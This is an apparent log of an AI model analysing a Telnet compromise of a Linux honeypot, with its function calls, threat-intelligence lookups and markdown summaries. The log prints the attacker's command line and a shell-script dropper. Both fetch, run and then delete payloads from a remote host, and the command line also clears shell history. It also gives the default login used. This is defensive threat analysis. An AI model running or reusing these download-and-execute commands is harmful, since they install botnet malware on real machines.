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Run Steps: Telnet Compromise and Shell Script Malware Deployment on Linux Honeypot by Organized Attacker

Assistant ID: asst_R5O9vhLKONwNlqmmxbMYugLo

Thread ID: thread_AfRPbaQVB9VYxcEMjJOhD0Xk

System Prompt

Your role is to answer questions about an attack on a Linux honeypot. You will analyze the commands executed, uploaded/downloaded files, HTTP requests, sessionsand other data logged during the attack to understand the methods and goals of the attacker.You will also analyze OSINT data gathered about the attacking IP(s) including: geolocation, open ports, running services, threatfeed reports and reports of known malware associated with the IP(s) to get additional context on the attack and enhance your analysis. Your answers will be used in a GitHub .md file so you should use markdown syntax to format your output. Use the available functions to request relevant information to thoroughly answer each question. You should use multiple function calls to analyze the data returned by previous function calls and to get any additional data you need to answer each question as accurately as possible. For example if you see that the attacker downloaded malware in one of the commands executed, you should use the get_attack_attrs function with the arguement 'uniq_malware' to get a list of unique malware_ids associated with the attack, then use get_malware_attrs to analyze the malware, and the query_ functions to get additional OSINT data about the malware and its source. IMPORTANT: When using get_attack_attrs use the uniq_<attr> modifier first and only get all values if necessary after analyzing the unique values. For context that the honeypot system has the following open ports: Its internal IP address is: 172.31.5.68 and its external IP address is: []. Use the code_interpreter tool to enhance your analysis. For example if you find an encoded string in the http_requests, commands, or malware, you should use the code_interpreter tool to decode it, then analyze the decoded result in context when answering questions.

Prompt: What are the IP addresses and ports involved in the attack?

Run ID: run_8882b7iIZ8X6oA5I6Sl0TTkn

Funciton Calls

Step ID: step_QMB7EmztLkaqo8wZlvGWEaLv

Function called: get_attack_attrs

Argument Value
attrs ['uniq_src_ips', 'uniq_dst_ports']
Output Value
uniq_src_ips {'87.242.92.23'}
uniq_dst_ports {2223}

Answer

The IP address involved in the attack is 87.242.92.23, and the honeypot was attacked on port 2223.

Prompt: Summarize the Sessions involved in the attack.

Run ID: run_XS0zQiiXLpQzwHVlysDv0wz4

Funciton Calls

Step ID: step_LYJSFZn0bpjxuKjanxIT5sPI

Function called: get_attack_attrs

Argument Value
attrs ['sessions']
Output Value
sessions ['Session b1c9257f07fd TELNET 87.242.92.23:36504 -> 172.31.5.68:2223 Duration: 0.21s', 'Session 12ca7759e498 TELNET 87.242.92.23:44950 -> 172.31.5.68:2223 Login: root:vizxv Duration: 0.22s', 'Session 8bf3b3fa2362 TELNET 87.242.92.23:44608 -> 172.31.5.68:2223 Login: root:vizxv Commands: 2, Malware: 1, Duration: 0.95s']

Answer

There were three telnet sessions involved in the attack from the IP 87.242.92.23 targeting port 2223 on the honeypot:

  1. Session ID: b1c9257f07fd

    • Type: TELNET
    • Source Port: 36504
    • Destination IP: 172.31.5.68
    • Duration: 0.21 seconds

  2. Session ID: 12ca7759e498

    • Type: TELNET
    • Source Port: 44950
    • Destination IP: 172.31.5.68
    • Login: root:vizxv
    • Duration: 0.22 seconds

  3. Session ID: 8bf3b3fa2362

    • Type: TELNET
    • Source Port: 44608
    • Destination IP: 172.31.5.68
    • Login: root:vizxv
    • Commands: 2
    • Malware: 1
    • Duration: 0.95 seconds

The attack includes a successful login using the credentials root:vizxv and at least one session where malware was uploaded or downloaded and commands were executed.

Prompt: Analyze the SSH/Telnet sessions in the context of the attack. Include the usernames, passwords, ssh hasshes, and any other relevant.

Run ID: run_WzLnAlcvVZQIHKVBwa1Sxoeo

Funciton Calls

Step ID: step_CxU8Jk7t3agjR2zhlDVHDXuZ

Function called: get_session_attrs

Argument Value
session_id b1c9257f07fd
attrs ['username', 'password', 'ssh_hassh', 'ssh_version', 'commands', 'http_requests']
Output Value
username None
password None
ssh_hassh None
ssh_version None
commands []
http_requests {}

Function called: get_session_attrs

Argument Value
session_id 12ca7759e498
attrs ['username', 'password', 'ssh_hassh', 'ssh_version', 'commands', 'http_requests']
Output Value
username root
password vizxv
ssh_hassh None
ssh_version None
commands []
http_requests {}

Function called: get_session_attrs

Argument Value
session_id 8bf3b3fa2362
attrs ['username', 'password', 'ssh_hassh', 'ssh_version', 'commands', 'http_requests']
Output Value
username root
password vizxv
ssh_hassh None
ssh_version None
commands ['sh', 'cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/ISIS.sh; chmod 777 *; sh ISIS.sh; tftp -g 87.242.89.170 -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c']
http_requests {}

Answer

Here is the analysis of SSH/Telnet sessions in the context of the attack:

  1. Session ID: b1c9257f07fd

    • No successful login (username and password not provided)
    • No commands were executed
    • No SSH hassh or version as it was a TELNET session
    • No HTTP requests were made

  2. Session ID: 12ca7759e498

    • Username: root
    • Password: vizxv
    • Successful login with the above credentials
    • No commands were executed
    • No SSH hassh or version as it was a TELNET session
    • No HTTP requests were made

  3. Session ID: 8bf3b3fa2362

    • Username: root
    • Password: vizxv
    • Successful login with the above credentials
    • Executed Commands:
      • Start a shell
      • Navigate to different directories attempting to find a writable one
      • Download a file named "ISIS.sh" from http://87.242.89.170
      • Change permissions to executable for all files
      • Execute the "ISIS.sh" script
      • Receive a file named "tftp1.sh" using TFTP from 87.242.89.170
      • Change permissions to executable for all files after TFTP
      • Execute the "tftp1.sh" script
      • Remove all .sh files
      • Clear the history
    • No SSH hassh or version as it was a TELNET session
    • No HTTP requests were made

The sessions indicate an attempt to gain persistent access through the downloading and execution of shell scripts. The actor uses common directories and clears the history to cover their tracks post-execution.

Prompt: Summarize what is known about the location of the IP addresses involved in the attack.

Run ID: run_qZT5fuLcuIJ4z7Nz1iKnxKSS

Funciton Calls

Step ID: step_aatuDzXuYhocZX343tXCHy3W

Function called: query_ip_data

Argument Value
ips ['87.242.92.23']
sources ['cybergordon', 'shodan', 'isc']
Output Value
87.242.92.23 {'cybergordon': {'[E2] AbuseIPDB': ' ISP: Cloud.ru. Usage: Data Center/Web Hosting/Transit. Risk 61%. 51 report(s) by 23 user(s), last on 14 December 2023 ', '[E33] GreyNoise': 'Last report on 16 December 2023 as unknown and scanning the Internet in the last 3 months. ', '[E11] DShield/ISC': 'Found in 2 report(s) listing 2 target(s), last on 16 Dec 2023 ', '[E12] AlienVault OTX': 'Found in 1 pulse-feed(s) ', '[E23] Offline Feeds': 'Found in Duggy Tuxy - EU Botnets/Zombies/Scanners '}, 'shodan': {'general': {'Country': 'Russian Federation', 'City': 'Moscow', 'Organization': 'Cloud technology Limited (Ltd.)', 'ISP': 'Cloud technology Limited (Ltd.)', 'ASN': 'AS208677'}, 'port22': {'protocol': 'tcp', 'service_name': 'OpenSSH7.4'}}, 'isc': {'total_reports': 2, 'honeypots_targeted': 2, 'firstseen': '2023-12-10', 'lastseen': '2023-12-16', 'network': '87.242.88.0/21', 'asname': 'CLOUDRU-AS', 'as_country_code': "('RU', None)", 'threatfeeds': None}}

Function called: query_ip_data

Argument Value
ips ['87.242.89.170']
sources ['shodan']
Output Value
87.242.89.170 {'shodan': {'general': {'Country': 'Russian Federation', 'City': 'Moscow', 'Organization': 'Cloud Technologies LLC trading as Cloud.ru', 'ISP': '"Cloud Technologies" LLC trading as Cloud.ru', 'ASN': 'AS208677'}, 'port21': {'protocol': 'tcp', 'service_name': 'unknown', 'service_data_raw': '220 (vsFTPd 3.0.2)\n230 Login successful.\n214-The following commands are recognized.\n ABOR ACCT ALLO APPE CDUP CWD DELE EPRT EPSV FEAT HELP LIST MDTM MKD\n MODE NLST NOOP OPTS PASS PASV PORT PWD QUIT REIN REST RETR RMD RNFR\n RNTO SITE SIZE SMNT STAT STOR STOU STRU SYST TYPE USER XCUP XCWD XMKD\n XPWD XRMD\n214 Help OK.\n211-Features:\n EPRT\n EPSV\n MDTM\n PASV\n REST STREAM\n SIZE\n TVFS\n UTF8\n211 End'}, 'port22': {'protocol': 'tcp', 'service_name': 'OpenSSH7.4'}, 'port80': {'protocol': 'tcp', 'service_name': 'Apache httpd2.4.6'}}}

Answer

Here is the summarized geolocation and related information for both IP addresses involved in the attack:

For 87.242.92.23:

  • Location: Moscow, Russian Federation
  • Organization: Cloud Technology Limited (Ltd.)
  • ISP: Cloud Technology Limited (Ltd.)
  • ASN: AS208677
  • Usage: Data Center/Web Hosting/Transit
  • Risk level: Reportedly 61% based on AbuseIPDB
  • Reports include:
    • 51 reports by 23 users according to AbuseIPDB with the last report on December 14, 2023
    • Last scan reported by GreyNoise on December 16, 2023
    • Found in 2 reports by DShield/ISC, last seen on December 16, 2023
    • Found in 1 pulse-feed by AlienVault OTX
  • Abusive network behavior: Found in Duggy Tuxy - EU Botnets/Zombies/Scanners
  • OpenSSH 7.4 running on port 22

For 87.242.89.170:

  • Location: Moscow, Russian Federation
  • Organization: "Cloud Technologies" LLC trading as Cloud.ru
  • ISP: "Cloud Technologies" LLC trading as Cloud.ru
  • ASN: AS208677
  • Open services include:
    • vsFTPd 3.0.2 on port 21
    • OpenSSH 7.4 on port 22
    • Apache HTTPD 2.4.6 on port 80

The data suggests that both IP addresses are related to the same organization, Cloud.ru, which operates in the data center and web hosting industry. Both IPs are associated with malicious activities and have been reported for scanning and possibly partaking in botnet activities. The IP addresses are closely related and might be part of the same network, considering they share the same ASN, geolocation, and are both operating in the Russian Federation under the same ISP.

Prompt: Summarize what is known about the IP addresses involved in the attack using Shodan data.

Run ID: run_aQLpGrxT78o502EBX2zlEBtV

Answer

Based on Shodan data, here is what is known about the IP addresses involved in the attack:

For 87.242.92.23:

  • Location: Moscow, Russian Federation
  • Organization: Cloud technology Limited (Ltd.)
  • ISP: Cloud technology Limited (Ltd.)
  • ASN: AS208677
  • OpenSSH 7.4 running on port 22

For 87.242.89.170:

  • Location: Moscow, Russian Federation
  • Organization: "Cloud Technologies" LLC trading as Cloud.ru
  • ISP: "Cloud Technologies" LLC trading as Cloud.ru
  • ASN: AS208677
  • Open services detected:
    • vsFTPd 3.0.2 on port 21 (FTP service)
    • OpenSSH 7.4 on port 22 (SSH service)
    • Apache HTTPD 2.4.6 on port 80 (HTTP service)

Shodan data shows that these IP addresses host services that are typically associated with a standard internet-connected server, including FTP, SSH, and HTTP services. These IPs are both located in Moscow within the same organization which could indicate they are part of the same or a closely related infrastructure, potentially suggesting an organized or targeted attack.

Prompt: Summarize what is known about the IP addresses involved in the attack using ISC data.

Run ID: run_OUjy2p2jUMDtrS97Ow8G1IaW

Answer

Based on ISC (Internet Storm Center) data, here is what is known about the IP address 87.242.92.23 involved in the attack:

  • Total Reports: 2 reports indication malicious activity
  • Honeypots Targeted: 2 different honeypots have reported interactions with this IP
  • Report Timelines:
    • First seen interacting with honeypots on December 10, 2023
    • Last seen interacting with honeypots on December 16, 2023
  • The IP is part of the network range: 87.242.88.0/21
  • AS Name: CLOUDRU-AS
  • Country Code: Russia (RU)

ISC data does not include information for the IP address 87.242.89.170.

From the ISC information, it can be inferred that the IP 87.242.92.23 has shown malicious activities that have resulted in reports from honeypots. The IP belongs to the ASN of a Russian cloud service provider and has been actively interacting with honeypot sensors, indicating a possible threat actor.

Prompt: Summarize what is known about the IP addresses involved in the attack using ThreatFox.

Run ID: run_BlgzRBkQi759YQTST7DRVLBj

Funciton Calls

Step ID: step_JtxbK1lEwZyZsbe2tqCrbOKP

Function called: query_ioc_data

Argument Value
ioc_type ip
iocs ['87.242.92.23']
sources ['threatfox']
Output Value
87.242.92.23 {'threatfox': {'whois_text': '% This is the RIPE Database query service.\n% The objects are in RPSL format.\n%\n% The RIPE Database is subject to Terms and Conditions.\n% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions\n\n% Note: this output has been filtered.\n% To receive output for a database update, use the "-B" flag.\n\n% Information related to \'87.242.84.0 - 87.242.95.255\'\n\n% Abuse contact for \'87.242.84.0 - 87.242.95.255\' is \'@cloud.ru\'\n\ninetnum: 87.242.84.0 - 87.242.95.255\nnetname: RU-CLOUDRU-20050722\ncountry: RU\norg: ORG-CTL61-RIPE\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nstatus: ALLOCATED PA\nmnt-by: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\ncreated: 2022-05-04T12:59:53Z\nlast-modified: 2023-07-25T09:19:30Z\nsource: RIPE\n\norganisation: ORG-CTL61-RIPE\norg-name: "Cloud Technologies" LLC trading as Cloud.ru\ncountry: RU\norg-type: LIR\naddress: PO Box 140\naddress: 123022\naddress: Moscow\naddress: RUSSIAN FEDERATION\nphone: +7 (495) 260-10-82\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nabuse-c: AR53335-RIPE\nmnt-ref: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2019-06-20T07:22:48Z\nlast-modified: 2023-07-13T09:54:33Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETOPS\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6888-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:09:58Z\nlast-modified: 2023-07-03T09:25:46Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETBUILD\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6889-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:10:41Z\nlast-modified: 2023-07-03T09:24:28Z\nsource: RIPE # Filtered\n\n% Information related to \'87.242.88.0/21AS208677\'\n\nroute: 87.242.88.0/21\norigin: AS208677\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2022-05-05T14:15:23Z\nlast-modified: 2022-05-05T14:15:23Z\nsource: RIPE\n\n% This query was served by the RIPE Database Query Service version 1.109.1 (DEXTER)'}}

Function called: query_ioc_data

Argument Value
ioc_type ip
iocs ['87.242.89.170']
sources ['threatfox']
Output Value
87.242.89.170 {'threatfox': {'whois_text': '% This is the RIPE Database query service.\n% The objects are in RPSL format.\n%\n% The RIPE Database is subject to Terms and Conditions.\n% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions\n\n% Note: this output has been filtered.\n% To receive output for a database update, use the "-B" flag.\n\n% Information related to \'87.242.84.0 - 87.242.95.255\'\n\n% Abuse contact for \'87.242.84.0 - 87.242.95.255\' is \'@cloud.ru\'\n\ninetnum: 87.242.84.0 - 87.242.95.255\nnetname: RU-CLOUDRU-20050722\ncountry: RU\norg: ORG-CTL61-RIPE\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nstatus: ALLOCATED PA\nmnt-by: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\ncreated: 2022-05-04T12:59:53Z\nlast-modified: 2023-07-25T09:19:30Z\nsource: RIPE\n\norganisation: ORG-CTL61-RIPE\norg-name: "Cloud Technologies" LLC trading as Cloud.ru\ncountry: RU\norg-type: LIR\naddress: PO Box 140\naddress: 123022\naddress: Moscow\naddress: RUSSIAN FEDERATION\nphone: +7 (495) 260-10-82\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nabuse-c: AR53335-RIPE\nmnt-ref: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2019-06-20T07:22:48Z\nlast-modified: 2023-07-13T09:54:33Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETOPS\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6888-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:09:58Z\nlast-modified: 2023-07-03T09:25:46Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETBUILD\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6889-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:10:41Z\nlast-modified: 2023-07-03T09:24:28Z\nsource: RIPE # Filtered\n\n% Information related to \'87.242.88.0/21AS208677\'\n\nroute: 87.242.88.0/21\norigin: AS208677\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2022-05-05T14:15:23Z\nlast-modified: 2022-05-05T14:15:23Z\nsource: RIPE\n\n% This query was served by the RIPE Database Query Service version 1.109.1 (DEXTER)'}}

Answer

According to ThreatFox data, both IP addresses 87.242.92.23 and 87.242.89.170 are within the same network block and share similar information:

  • Network Range: 87.242.84.0 - 87.242.95.255
  • Netname: RU-CLOUDRU-20050722
  • Country: Russia (RU)
  • Organization: "Cloud Technologies" LLC trading as Cloud.ru
  • Admin and Tech Contact: Use of role objects CLOUDRU_NETOPS and CLOUDRU_NETBUILD with an abuse mailbox at @cloud.ru
  • Address: Vavilova Street, Moscow, Russian Federation
  • ASN: AS208677
  • Maintenance by: mnt-ru-sbercloud-1 and RIPE-NCC-HM-MNT

This information indicates that both IPs belong to the same organization and are associated with cloud service infrastructure in Russia. There are no specific indicators from ThreatFox that link these IP addresses to any reported malicious activities or malware; however, based on other context from the attack, these addresses are associated with malicious behavior.

Prompt: Summarize what is known about the IP addresses involved in the attack using CyberGordon.

Run ID: run_FbtweeAt9Y1T3KsMA8uHHyY5

Answer

Based on CyberGordon data, here's what is known about the IP address 87.242.92.23 involved in the attack:

  • ISP: Cloud.ru
  • Usage: Data Center/Web Hosting/Transit
  • Risk: 61%
  • Reports:
    • 51 report(s) by 23 user(s), last on December 14, 2023, according to [E2] AbuseIPDB
    • Last report on December 16, 2023, as unknown and scanning the Internet in the last 3 months by [E33] GreyNoise
    • Found in 2 report(s) listing 2 target(s), last on December 16, 2023, according to [E11] DShield/ISC
    • Found in 1 pulse-feed(s) by [E12] AlienVault OTX
  • Abusive Network Behavior: Found in Duggy Tuxy - EU Botnets/Zombies/Scanners

There is no CyberGordon data provided for the IP address 87.242.89.170 in the provided information. The available data for 87.242.92.23 indicates that this IP is associated with a high risk of abuse and has been reported multiple times across various platforms for malicious activities, such as scanning and participating in botnet operations.

Prompt: Explain what is known about the malware and/or exploits used in the attack using data from MalwareBazaar, ThreatFox, URLhaus, and Malpedia. Be sure to analyze the src_ips, malware hashes, and any urls or hosts found in the malware samples, commands and/or HTTP requests.

Run ID: run_lvWw5tbKR0sZUffiP266XBbu

Funciton Calls

Step ID: step_8hnUkNXpbv7aI9kFExDs9wDV

Function called: get_attack_attrs

Argument Value
attrs ['uniq_src_ips', 'uniq_malware']
Output Value
uniq_src_ips {'87.242.92.23'}
uniq_malware {Malware f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed: Size: 1994 bytes Type: text/x-shellscript Downloaded by: 87.242.92.23 From: http://87.242.89.170/ISIS.sh Session 8bf3b3fa2362 Urls:13, IPs:1}

Step ID: step_MEaxfgcZpmnN3LdoZCRsPet4

Function called: get_malware_attrs

Argument Value
malware_id f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed
attrs ['text', 'shasum', 'source_address', 'destfile', 'urls', 'hosts', 'num_bytes', 'mime_type']
Output Value
text `#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/m-i.p-s.ISIS; chmod +x m-i.p-s.ISIS; ./m-i.p-s.ISIS; rm -rf m-i.p-s.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/m-p.s-l.ISIS; chmod +x m-p.s-l.ISIS; ./m-p.s-l.ISIS; rm -rf m-p.s-l.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/s-h.4-.ISIS; chmod +x s-h.4-.ISIS; ./s-h.4-.ISIS; rm -rf s-h.4-.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/x-8.6-.ISIS; chmod +x x-8.6-.ISIS; ./x-8.6-.ISIS; rm -rf x-8.6-.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/a-r.m-6.ISIS; chmod +x a-r.m-6.ISIS; ./a-r.m-6.ISIS; rm -rf a-r.m-6.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/x-3.2-.ISIS; chmod +x x-3.2-.ISIS; ./x-3.2-.ISIS; rm -rf x-3.2-.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/a-r.m-7.ISIS; chmod +x a-r.m-7.ISIS; ./a-r.m-7.ISIS; rm -rf a-r.m-7.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/p-p.c-.ISIS; chmod +x p-p.c-.ISIS; ./p-p.c-.ISIS; rm -rf p-p.c-.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/i-5.8-6.ISIS; chmod +x i-5.8-6.ISIS; ./i-5.8-6.ISIS; rm -rf i-5.8-6.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/m-6.8-k.ISIS; chmod +x m-6.8-k.ISIS; ./m-6.8-k.ISIS; rm -rf m-6.8-k.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/p-p.c-.ISIS; chmod +x p-p.c-.ISIS; ./p-p.c-.ISIS; rm -rf p-p.c-.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/a-r.m-4.ISIS; chmod +x a-r.m-4.ISIS; ./a-r.m-4.ISIS; rm -rf a-r.m-4.ISIS
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://87.242.89.170/a-r.m-5.ISIS; chmod +x a-r.m-5.ISIS; ./a-r.m-5.ISIS; rm -rf a-r.m-5.ISIS
`
shasum f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed
source_address http://87.242.89.170/ISIS.sh
destfile None
urls ['http://87.242.89.170/m-i.p-s.ISIS', 'http://87.242.89.170/m-p.s-l.ISIS', 'http://87.242.89.170/s-h.4-.ISIS', 'http://87.242.89.170/x-8.6-.ISIS', 'http://87.242.89.170/a-r.m-6.ISIS', 'http://87.242.89.170/x-3.2-.ISIS', 'http://87.242.89.170/a-r.m-7.ISIS', 'http://87.242.89.170/p-p.c-.ISIS', 'http://87.242.89.170/i-5.8-6.ISIS', 'http://87.242.89.170/m-6.8-k.ISIS', 'http://87.242.89.170/a-r.m-4.ISIS', 'http://87.242.89.170/a-r.m-5.ISIS', 'http://87.242.89.170/ISIS.sh']
hosts {'87.242.89.170'}
num_bytes 1994
mime_type text/x-shellscript

Function called: query_ioc_data

Argument Value
ioc_type hash
iocs ['f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed']
sources ['malwarebazaar', 'threatfox']
Output Value
f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed {'malwarebazaar': '', 'threatfox': {'whois_text': '% This is the RIPE Database query service.\n% The objects are in RPSL format.\n%\n% The RIPE Database is subject to Terms and Conditions.\n% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions\n\n% Note: this output has been filtered.\n% To receive output for a database update, use the "-B" flag.\n\n% Information related to \'87.242.84.0 - 87.242.95.255\'\n\n% Abuse contact for \'87.242.84.0 - 87.242.95.255\' is \'@cloud.ru\'\n\ninetnum: 87.242.84.0 - 87.242.95.255\nnetname: RU-CLOUDRU-20050722\ncountry: RU\norg: ORG-CTL61-RIPE\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nstatus: ALLOCATED PA\nmnt-by: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\ncreated: 2022-05-04T12:59:53Z\nlast-modified: 2023-07-25T09:19:30Z\nsource: RIPE\n\norganisation: ORG-CTL61-RIPE\norg-name: "Cloud Technologies" LLC trading as Cloud.ru\ncountry: RU\norg-type: LIR\naddress: PO Box 140\naddress: 123022\naddress: Moscow\naddress: RUSSIAN FEDERATION\nphone: +7 (495) 260-10-82\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nabuse-c: AR53335-RIPE\nmnt-ref: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2019-06-20T07:22:48Z\nlast-modified: 2023-07-13T09:54:33Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETOPS\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6888-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:09:58Z\nlast-modified: 2023-07-03T09:25:46Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETBUILD\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6889-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:10:41Z\nlast-modified: 2023-07-03T09:24:28Z\nsource: RIPE # Filtered\n\n% Information related to \'87.242.88.0/21AS208677\'\n\nroute: 87.242.88.0/21\norigin: AS208677\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2022-05-05T14:15:23Z\nlast-modified: 2022-05-05T14:15:23Z\nsource: RIPE\n\n% This query was served by the RIPE Database Query Service version 1.109.1 (DEXTER)'}}

Function called: query_ioc_data

Argument Value
ioc_type url
iocs ['http://87.242.89.170/ISIS.sh']
sources ['urlhaus']
Output Value
http://87.242.89.170/ISIS.sh {'urlhaus': {'id': '2740351', 'url': 'http://87.242.89.170/ISIS.sh', 'url_status': 'URL is offline and no longer serving a payload', 'host': '87.242.89.170', 'date_added': '2023-12-14 05:59:05 UTC', 'last_online': '2023-12-14 14:XX:XX UTC', 'threat': 'malware_download', 'takedown_time_seconds': '29445', 'payloads': [{'file_type': 'sh', 'response_size': '1994', 'virustotal': {'result': '34 / 59', 'percent': '57.63'}, 'first_seen': '2023-12-14'}], 'url_reported_to_hosting_provider': 'true'}}

Function called: query_ioc_data

Argument Value
ioc_type ip
iocs ['87.242.89.170']
sources ['threatfox']
Output Value
87.242.89.170 {'threatfox': {'whois_text': '% This is the RIPE Database query service.\n% The objects are in RPSL format.\n%\n% The RIPE Database is subject to Terms and Conditions.\n% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions\n\n% Note: this output has been filtered.\n% To receive output for a database update, use the "-B" flag.\n\n% Information related to \'87.242.84.0 - 87.242.95.255\'\n\n% Abuse contact for \'87.242.84.0 - 87.242.95.255\' is \'@cloud.ru\'\n\ninetnum: 87.242.84.0 - 87.242.95.255\nnetname: RU-CLOUDRU-20050722\ncountry: RU\norg: ORG-CTL61-RIPE\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nstatus: ALLOCATED PA\nmnt-by: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\ncreated: 2022-05-04T12:59:53Z\nlast-modified: 2023-07-25T09:19:30Z\nsource: RIPE\n\norganisation: ORG-CTL61-RIPE\norg-name: "Cloud Technologies" LLC trading as Cloud.ru\ncountry: RU\norg-type: LIR\naddress: PO Box 140\naddress: 123022\naddress: Moscow\naddress: RUSSIAN FEDERATION\nphone: +7 (495) 260-10-82\nadmin-c: NA6889-RIPE\ntech-c: NA6888-RIPE\nabuse-c: AR53335-RIPE\nmnt-ref: mnt-ru-sbercloud-1\nmnt-by: RIPE-NCC-HM-MNT\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2019-06-20T07:22:48Z\nlast-modified: 2023-07-13T09:54:33Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETOPS\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6888-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:09:58Z\nlast-modified: 2023-07-03T09:25:46Z\nsource: RIPE # Filtered\n\nrole: CLOUDRU_NETBUILD\naddress: ul. Vavilova, d. 23, stroen. 1 komn. 1.207\nabuse-mailbox: @cloud.ru\nnic-hdl: NA6889-RIPE\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2020-12-14T11:10:41Z\nlast-modified: 2023-07-03T09:24:28Z\nsource: RIPE # Filtered\n\n% Information related to \'87.242.88.0/21AS208677\'\n\nroute: 87.242.88.0/21\norigin: AS208677\nmnt-by: mnt-ru-sbercloud-1\ncreated: 2022-05-05T14:15:23Z\nlast-modified: 2022-05-05T14:15:23Z\nsource: RIPE\n\n% This query was served by the RIPE Database Query Service version 1.109.1 (DEXTER)'}}

Answer

Based on the gathered information, here is a summary of what is known about the malware and/or exploits used in the attack:

Malware Details (Malware ID: f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed):

  • Size: 1994 bytes
  • Type: Text shell script (MIME type: text/x-shellscript)
  • Downloaded by: 87.242.92.23 from http://87.242.89.170/ISIS.sh
  • SHA256 Hash: f03b5186bfc5f66608e1505f2a7f386900f54ebb810d7e8f3ac644bcb811bbed
  • Session ID: 8bf3b3fa2362
  • URLs Contained: Links to multiple shell scripts hosted on 87.242.89.170 (e.g., "m-i.p-s.ISIS", "m-p.s-l.ISIS", etc.)

Malware Analysis Data:

  • MalwareBazaar: No specific information found.
  • ThreatFox: WHOIS data linked to the network range 87.242.84.0 - 87.242.95.255, operated by "Cloud Technologies" LLC trading as Cloud.ru.

URL Analysis Data (URL: http://87.242.89.170/ISIS.sh):

  • URLhaus:
    • URL ID: 2740351, indicating the URL has been reported as malicious.
    • URL status: Offline and not serving payload as of last check.
    • Host: 87.242.89.170
    • Date Added: December 14, 2023
    • Last Online: December 14, 2023
    • Threat Type: Malware download
